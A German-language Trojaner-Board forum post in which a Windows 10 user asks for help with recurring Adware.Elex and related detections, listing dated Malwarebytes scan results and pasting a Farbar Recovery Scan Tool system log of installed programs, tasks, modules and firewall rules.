Trojaner-Board - Adware.Elex kommt immer wieder

Trojaner-Board (https://www.trojaner-board.de/)

- Log-Analyse und Auswertung (https://www.trojaner-board.de/log-analyse-auswertung/)

- - Adware.Elex kommt immer wieder (https://www.trojaner-board.de/185304-adware-elex-kommt-immer.html)

Adware.Elex kommt immer wieder

Guten Abend werte Community & Profis,

ich bin neu hier, benutze schon seit ewigkeiten Windows (seit 95, strenggenommen aber seit XP) und habe mir erstmals einen Virus eingefangen, den ich nicht los werde. (woher er kommen kann? keine ahnung, mir ist nichts auffälliges aufgefallen)

Bemerkt das etwas nicht stimmt habe ich dadurch, dass sich der Browser Firefox ohne mein Wissen installiert hat (mein Windows 10 ist noch nicht allzu alt, da ich es vor ein paar Monaten neu installiert habe). Mein PC läuft auch generell sehr sehr lange und mir ist ebenfalls in Abwesenheit aufgefallen, dass sich mein Chrome geschlossen hatte.
Das war am 21.04.17, also habe ich Malwarebytes durchlaufen gelassen und der hat auch Adware.Elex erkannt und gelöscht, anschließend hab ich noch ein paar mal den Scan durchlaufen lassen, und er hat insgesamt nun relativ oft was erkannt, zwischendurch schien aber alles mal wieder "clean" zu sein, und er hat nichts erkannt. Seitdem schaue ich auch regelmäßig was so im Taskmanager offen ist, da ist mir allerdings auch nichts aufgefallen (außer am anfang ein Dienst und ein Prozess vom Firefox, welchen ich deaktiviert und geschlossen habe).

Sicherheitshalber habe ich auch Chrome komplett neu installiert (inkl. die Addons uMatrix(hier nur geändert, dass Scripts standartmäßig geblockt werden) und uBlock Origin, ansonsten verwende ich i.d.R. nur das E-Mail Addon von Web.de, welches mir derzeit aber zu riskant zu benutzen ist, eben aufgrund der Viren)

hier mal eine genaue Auflistung der Scan-Berichte, betroffene Log Dateien poste ich natürlich unten:

18.04.17 06:45 clean
>21.04.17 01:19 nicht clean, individuell (alle festplatten), (Adware.Ghokswa
Regestrierungswert & schlüssel, adware.Elex als firefox), der scan hat 2
Stunden gedauert, deswegen der nächste scan so spät

>21.04.17 03:20 nicht clean, bedrohung, viel Adware.Elex, PUP.Optional.Elex und
PUP.Optional.Ghokswa und ein mal PUP.Optional.SearchInMe

21.04.17 03:24 clean, bedrohung, ist 4 Minuten nach dem Scan davor.
21.04.17 03:27 clean, bedrohung
21.04.17 03:29 clean, hyper
21.04.17 03:29 clean, bedrohung
21.04.17 03:32 clean, inviduell(alle Festplatten) inkl. Rootkits, 2 Std. Scanzeit
21.04.17 05:32 clean, bedrohung

>22.04.17 02:25 nicht clean, bedrohung, Trojan.WisdomEyes als Regestrirungswert & Schlüssel, auch als Datei in Appdata\Roaming\SSMgre\SSRec & SSRec\JTFW & JTFW\JTFW.dll. Zudem noch Adware.Ghokswa (ich denke getarnt als Chrome, sah zmd. vom Ordnerinhalt danach aus unter den Namen "Everbean") Zuvor hab ich selbst schon im Programme (x86) den Everbean Ordner gelöscht, die Ergebnisse hier beziehen sich auf den Pfad Appdata\Local\Everbean

22.04.17 04:24 clean, bedrohung inkl. rootkits
22.04.17 04:26 clean, hyper
22.04.17 04:41 clean, bedrohung inkl. rootkits
22.04.17 04:28 clean, hyper
22.04.17 04:51 clean, Individuell inkl. rootkits, weiß nicht mehr welche Festplatten, C war dabei
22.04.17 05:59 clean, bedrohung inkl. rootkits
22.04.17 06:05 clean, hyper
22.04.17 06:28 clean, bedrohung inkl. rootkits
22.04.17 07:50 clean, hyper
22.04.17 07:52 clean, hyper
22.04.17 08:00 clean, individuell inkl. rootkits, weiß nicht mehr welche Festplatten, C war dabei
22.04.17 08:36 clean, individuell, ohne rootskits, nur externe Festplatte

Mein Daten Backup Server im Netzwerk ließ sich leider nicht via Malwarebytes überprüfen, sondern nur via. Windows defender, der hat nichts gefunden.

22.04.17 09:56 clean, bedrohung inkl. rootkits
22.04.17 11:13 clean, bedrohung inkl. rootkits

23.04.17 02:24 clean, bedrohung
>23.04.17 23:19 nicht clean, bedrohung inkl. rootkits, Adware.Elex Prozessmodul & Datei & Regestrierungsschlüssel, in Programdata\microsoft\office\packagelocker.dll

23.04.17 23:26 clean, bedrohung inkl. rootkits
24.04.17 00:19 clean, bedrohung inkl. rootkits
laufend: individuell inkl. rootskits, alle festplatten

was habe ich in dem Zeitraum gemacht?
Eigentlich nicht viel, nur auf sicheren Seiten gewesen und die Steam Version von Resident Evil4 HD Remaster gespielt, allerdings mit von der Community gemoddeten HD Texturen inkl. gepatchter .exe Datei. (scheint für mich aber sehr seriös, in deren Kommentar-Sektion scheint keiner Probleme damit in Verbindung zu bringen, Virenscans haben dahingehend auch nichts ergeben.)
Es ist mir generell ein Rätsel, wie und wo ich mir den eingefangen habe, da ich eigentlich immer sehr behutsam vorgehe...

Vielen lieben Dank schonmal im voraus, dass sich die Mühe gemacht wird, mir und anderen Leuten zu helfen, auch wenn ich gehofft habe, niemals eure Hilfe zu brauchen :)

Liebe Grüße,

Andy

Hier noch die Log-Dateien:

Addition.txt

Code:

Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 23-04-2017 01

durchgeführt von Andy (24-04-2017 00:26:03)

Gestartet von C:\Users\Andy\Downloads

Windows 10 Pro Version 1703 (X64) (2017-04-14 00:49:09)

Start-Modus: Normal

==========================================================
 
 

==================== Konten: =============================
 

Administrator (S-1-5-21-1446151640-2387740664-487604262-500 - Administrator - Disabled)

Andy (S-1-5-21-1446151640-2387740664-487604262-1001 - Administrator - Enabled) => C:\Users\Andy

DefaultAccount (S-1-5-21-1446151640-2387740664-487604262-503 - Limited - Disabled)

defaultuser0 (S-1-5-21-1446151640-2387740664-487604262-1000 - Limited - Disabled) => C:\Users\defaultuser0

Gast (S-1-5-21-1446151640-2387740664-487604262-501 - Limited - Disabled)
 

==================== Sicherheits-Center ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
 

AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
 

==================== Installierte Programme ======================
 

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)
 

Adobe Flash Player 25 PPAPI (HKLM-x32\...\Adobe Flash Player PPAPI) (Version: 25.0.0.148 - Adobe Systems Incorporated)

Ansel (Version: 378.92 - NVIDIA Corporation) Hidden

AutoIt v3.3.14.2 (HKLM-x32\...\AutoItv3) (Version: 3.3.14.2 - AutoIt Team)

Battle.net (HKLM-x32\...\Battle.net) (Version:  - Blizzard Entertainment)

CPUID HWMonitor 1.30 (HKLM\...\CPUID HWMonitor_is1) (Version:  - )

CrystalDiskInfo 7.0.5 (HKLM-x32\...\CrystalDiskInfo_is1) (Version: 7.0.5 - Crystal Dew World)

DAEMON Tools Ultra (HKLM\...\DAEMON Tools Ultra) (Version: 5.0.0.0540 - Disc Soft Ltd)

Diablo II (HKLM-x32\...\Diablo II) (Version: 0.0.0.0 - Blizzard Entertainment)

Diablo III (HKLM-x32\...\Diablo III) (Version:  - Blizzard Entertainment)

Dota 2 (HKLM\...\Steam App 570) (Version:  - Valve)

Google Chrome (HKLM-x32\...\Google Chrome) (Version: 58.0.3029.81 - Google Inc.)

Google Update Helper (x32 Version: 1.3.32.7 - Google Inc.) Hidden

Hearthstone (HKLM-x32\...\Hearthstone) (Version:  - Blizzard Entertainment)

Heroes of the Storm (HKLM-x32\...\Heroes of the Storm) (Version:  - Blizzard Entertainment)

hide.me VPN 1.2.12 (HKLM-x32\...\{0E00BDA5-7998-4889-BE4B-39A4BBD2EDFB}_is1) (Version: 1.2.12 - eVenture Limited)

HP ENVY 4520 series - Grundlegende Software für das Gerät (HKLM\...\{AC99F717-0091-4818-920D-C778C9BACA9D}) (Version: 36.0.72.54013 - Hewlett-Packard Co.)

HP Google Drive Plugin (HKLM-x32\...\{1502BB1F-7870-4DC9-9178-65CFE00D070C}) (Version: 36.0.31.53050 - Hewlett-Packard Co.)

Java 8 Update 121 (64-bit) (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F64180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)

Java 8 Update 121 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F32180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)

JDownloader 2 (HKLM\...\jdownloader2) (Version: 2.0 - AppWork GmbH)

Malwarebytes Anti-Malware versione 2.2.1.1043 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.2.1.1043 - Malwarebytes)

Malwarebytes Version 3.0.6.1469 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 3.0.6.1469 - Malwarebytes)

Microsoft Office Professional Plus 2016 (HKLM\...\Office16.PROPLUS) (Version: 16.0.4266.1001 - Microsoft Corporation)

Microsoft OneDrive (HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\OneDriveSetup.exe) (Version: 17.3.6816.0313 - Microsoft Corporation)

Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50906.0 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)

Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.21005 (HKLM-x32\...\{7f51bdb9-ee21-49ee-94d6-90afc321780e}) (Version: 12.0.21005.1 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.21005 (HKLM-x32\...\{ce085a78-074e-4823-8dc1-8a721b94b76d}) (Version: 12.0.21005.1 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23918 (HKLM-x32\...\{dab68466-3a7d-41a8-a5cf-415e3ff8ef71}) (Version: 14.0.23918.0 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.23918 (HKLM-x32\...\{2e085fd2-a3e4-4b39-8e10-6b8d35f55244}) (Version: 14.0.23918.0 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)

Minecraft1.9 (HKLM-x32\...\Minecraft1.9) (Version:  - )

NVIDIA 3D Vision Controller-Treiber 369.04 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NVIRUSB) (Version: 369.04 - NVIDIA Corporation)

NVIDIA 3D Vision Treiber 378.92 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision) (Version: 378.92 - NVIDIA Corporation)

NVIDIA GeForce Experience 3.5.0.70 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 3.5.0.70 - NVIDIA Corporation)

NVIDIA Grafiktreiber 378.92 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 378.92 - NVIDIA Corporation)

NVIDIA HD-Audiotreiber 1.3.34.23 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.34.23 - NVIDIA Corporation)

NVIDIA PhysX-Systemsoftware 9.16.0318 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.16.0318 - NVIDIA Corporation)

NvNodejs (Version: 3.5.0.70 - NVIDIA Corporation) Hidden

NvTelemetry (Version: 2.4.5.0 - NVIDIA Corporation) Hidden

NvvHci (Version: 2.02.0.5 - NVIDIA Corporation) Hidden

OnScreen Control (HKLM-x32\...\{E5C1B339-0E4E-49A5-859E-5E1DE1938706}) (Version: 1.39 - LG Electronics Inc)

Outils de vérification linguistique 2016 de Microsoft Office*- Français (Version: 16.0.4266.1001 - Microsoft Corporation) Hidden

Overwatch (HKLM-x32\...\Overwatch) (Version:  - Blizzard Entertainment)

Razer Chroma SDK Core Components (HKLM-x32\...\Razer Chroma SDK) (Version: 1.14.7 - Razer Inc.)

Razer Synapse (HKLM-x32\...\{0D78BEE2-F8FF-4498-AF1A-3FF81CED8AC6}) (Version: 2.20.17.302 - Razer Inc.)

Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7848 - Realtek Semiconductor Corp.)

resident evil 4 / biohazard 4 (HKLM\...\Steam App 254700) (Version:  - Capcom)

SHIELD Streaming (Version: 7.1.0360 - NVIDIA Corporation) Hidden

SHIELD Wireless Controller Driver (Version: 3.5.0.70 - NVIDIA Corporation) Hidden

Shovel Knight (HKLM-x32\...\1207664823_is1) (Version: 2.0.0.5 - GOG.com)

Skype™ 7.33 (HKLM-x32\...\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}) (Version: 7.33.105 - Skype Technologies S.A.)

SpeedFan (remove only) (HKLM-x32\...\SpeedFan) (Version:  - )

StarCraft II (HKLM-x32\...\StarCraft II) (Version:  - Blizzard Entertainment)

Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)

Strumenti di correzione di Microsoft Office 2016 - Italiano (Version: 16.0.4266.1001 - Microsoft Corporation) Hidden

Update for Skype for Business 2016 (KB3178717) 64-Bit Edition (HKLM\...\{90160000-0011-0000-1000-0000000FF1CE}_Office16.PROPLUS_{45503767-F19E-4421-B930-8B0004ACA804}) (Version:  - Microsoft)

Update for Skype for Business 2016 (KB3178717) 64-Bit Edition (HKLM\...\{90160000-012B-0407-1000-0000000FF1CE}_Office16.PROPLUS_{45503767-F19E-4421-B930-8B0004ACA804}) (Version:  - Microsoft)

VLC media player (HKLM-x32\...\VLC media player) (Version: 2.2.4 - VideoLAN)

Vulkan Run Time Libraries 1.0.39.1 (HKLM\...\VulkanRT1.0.39.1) (Version: 1.0.39.1 - LunarG, Inc.)

Windows 10 Update and Privacy Settings (HKLM\...\{293F2009-0145-450B-B4AA-063D43FB368C}) (Version: 1.0.13.0 - Microsoft Corporation)

WinRAR 5.40 (64-Bit) (HKLM\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

World of Warcraft (HKLM-x32\...\World of Warcraft) (Version:  - Blizzard Entertainment)
 

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 
 

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

Task: {152E5D51-00AA-46BA-860A-E25C2EB3A14A} - System32\Tasks\Adobe Flash Player PPAPI Notifier => C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_25_0_0_148_pepper.exe [2017-04-22] (Adobe Systems Incorporated)

Task: {20FCF163-FE9B-4D38-AE7C-72BE70DDE7A8} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-04-22] (Google Inc.)

Task: {2EDA172E-7F18-4A89-B766-59CF7F12DC92} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-04-22] (Google Inc.)

Task: {31A706B3-3F75-4EBC-BC6B-153C24C7F6B2} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [2017-03-28] (NVIDIA Corporation)

Task: {4D5DB8DA-F4C6-4FBD-994D-966D95FA3E25} - System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-03-28] (NVIDIA Corporation)

Task: {620D1BF5-BA88-4BB2-B87B-0B89DB524599} - System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NvNode\nvnodejslauncher.exe [2017-03-28] (NVIDIA Corporation)

Task: {806EB92E-F18E-4C15-B634-928C20ADCF4E} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn2016 => C:\Program Files\Microsoft Office\Office16\msoia.exe [2015-07-31] (Microsoft Corporation)

Task: {84BCFF99-883C-410B-A883-5707CA13A572} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-03-28] (NVIDIA Corporation)

Task: {91D480AD-8E90-4DAB-83E0-29D462EA8F3E} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack2016 => C:\Program Files\Microsoft Office\Office16\msoia.exe [2015-07-31] (Microsoft Corporation)

Task: {BC7F9A94-3626-41DE-A5AE-38E2B20773E9} - System32\Tasks\Microsoft\Office\Office 15 Subscription Heartbeat => C:\Program Files\Common Files\Microsoft Shared\Office16\OLicenseHeartbeat.exe [2015-07-31] (Microsoft Corporation)

Task: {C0B0CC45-769A-47D5-A872-0ADC5D73E6CA} - System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmMon.exe [2017-03-28] (NVIDIA Corporation)

Task: {CA8A9A0E-746F-454B-9419-1BCB3A146E8A} - System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-03-28] (NVIDIA Corporation)

Task: {F026B1C0-323C-4E3D-A09E-0F3DB2286A37} - System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-03-28] (NVIDIA Corporation)
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
 
 

==================== Verknüpfungen =============================
 

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)
 

Shortcut: C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Minecraft\Minecraft Debugger.lnk -> C:\Users\Andy\AppData\Roaming\.minecraft\minecraft launcher\Debug.bat ()
 

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============
 

2017-04-14 02:41 - 2017-03-17 01:16 - 00133056 _____ () C:\Program Files\NVIDIA Corporation\Display\NvSmartMax64.dll

2017-02-16 08:10 - 2014-04-24 14:29 - 01360016 _____ () C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.22\AsSysCtrlService.exe

2017-02-16 08:09 - 2015-05-08 14:26 - 00936728 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe

2017-03-15 18:53 - 2017-04-12 18:46 - 02271520 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\PoliciesControllerImpl.dll

2017-03-15 18:53 - 2017-04-12 18:46 - 02267600 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\MwacLib.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 01147328 _____ () C:\Program Files\NVIDIA Corporation\NvContainer\libprotobuf.dll

2016-09-25 01:20 - 2016-09-25 01:21 - 00189264 _____ () C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe

2017-03-09 21:46 - 2015-12-14 18:35 - 00065024 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\ScreenSplitterHook64.dll

2017-03-18 22:58 - 2017-03-18 22:58 - 00138000 _____ () C:\Windows\SYSTEM32\inputhost.dll

2017-03-18 22:59 - 2017-03-20 06:43 - 01731072 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll

2017-04-22 04:39 - 2017-04-19 07:03 - 03767640 _____ () C:\Program Files (x86)\Google\Chrome\Application\58.0.3029.81\libglesv2.dll

2017-04-22 04:39 - 2017-04-19 07:03 - 00100696 _____ () C:\Program Files (x86)\Google\Chrome\Application\58.0.3029.81\libegl.dll

2017-02-16 11:04 - 2017-04-23 23:22 - 00035840 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\PEbiosinterface32.dll

2017-02-16 08:09 - 2015-05-08 14:26 - 00104448 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\ATKEX.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 00900032 _____ () C:\Program Files (x86)\NVIDIA Corporation\NvContainer\libprotobuf.dll

2017-03-09 21:46 - 2015-12-14 18:35 - 00058368 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\ScreenSplitterHook.dll

2017-03-09 21:46 - 2015-12-14 18:36 - 00012800 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\LMMAppHookManager.dll

2017-03-09 21:46 - 2016-05-12 17:13 - 00014336 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\Ger_Res.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 65708992 _____ () C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\libcef.dll

2017-02-16 02:27 - 2017-03-21 06:27 - 02442176 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\Downloader.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00363576 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVAccountAPINode.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00254008 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\DriverInstall.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00385592 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NvGameShareAPINode.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00469048 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NvGalleryAPINode.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00571840 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NvSpCapsAPINode.node
 

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)
 
 

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)
 

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetSetupSvc => ""="Service"
 

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)
 
 

==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)
 
 

==================== Hosts Inhalt: ===============================
 

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)
 

2016-07-16 13:47 - 2017-04-21 03:25 - 00000793 ____A C:\Windows\system32\Drivers\etc\hosts
 
 

==================== Andere Bereiche ============================
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper

DNS Servers: 192.168.2.1

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)

Windows Firewall ist aktiviert.
 

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==
 

HKLM\...\StartupApproved\Run32: => "SunJavaUpdateSched"

HKLM\...\StartupApproved\Run32: => "Razer Synapse"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\StartupFolder: => "hide.me VPN.lnk"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "OneDrive"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "Skype"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "Steam"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "DAEMON Tools Ultra Agent"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "HP ENVY 4520 series (NET)"
 

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139

FirewallRules: [{7D0611DC-87D8-406D-AE24-23F6AA3A9BC8}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{23EFFCF8-E204-486D-8985-35F50AAC7E7A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B6DDC486-9083-456D-9AC6-5C26257A51A0}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{4CF0F164-BD6B-4C55-AFB7-05BB77F22C87}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{6C2F9177-6FED-492E-9E45-4FA394BF35DC}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{4DFDE64C-22F3-4186-9740-79B05048B7EB}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{10BA93CD-9F5F-42E9-816A-64A3A52090A6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1CE84816-6D3D-4307-A3F0-EE24BBBECEE1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{49A0F2AB-022F-4EE8-BABD-643CE19CD518}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{01C43216-6CA9-42B2-B799-92D86D3310D2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{3A79D5B5-B9B8-4A82-8C44-D1C851DBDB8F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{EEA660A7-3B94-4985-B8C8-9354E6F39A76}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7AF03405-FD89-40E8-B8B2-FF774C3EC389}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Resident Evil 4\Bin32\bio4.exe

FirewallRules: [{5F065F0C-534B-4829-BC07-C2C79F090803}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Resident Evil 4\Bin32\bio4.exe

FirewallRules: [UDP Query User{7F2ACCAA-31F6-4848-9005-EF3F45EF5661}C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe

FirewallRules: [TCP Query User{4607FD40-C476-4D55-A0E5-299D8D818333}C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe

FirewallRules: [UDP Query User{E4C37615-9561-4FEC-B46A-A59061C7DA32}C:\users\andy\downloads\downloader_diablo2_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_dede.exe

FirewallRules: [TCP Query User{7CB62AEF-5811-40EE-A581-2D8443F49A9A}C:\users\andy\downloads\downloader_diablo2_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_dede.exe

FirewallRules: [{402B93D0-E69C-4C57-B4ED-57863DBE8E56}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{913E64CD-CEBE-42FC-B75F-50AC52850107}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{A46CEC6C-741C-4F08-B7CE-7B851B4BBC84}D:\program files (x86)\hearthstone\hearthstone.exe] => (Allow) D:\program files (x86)\hearthstone\hearthstone.exe

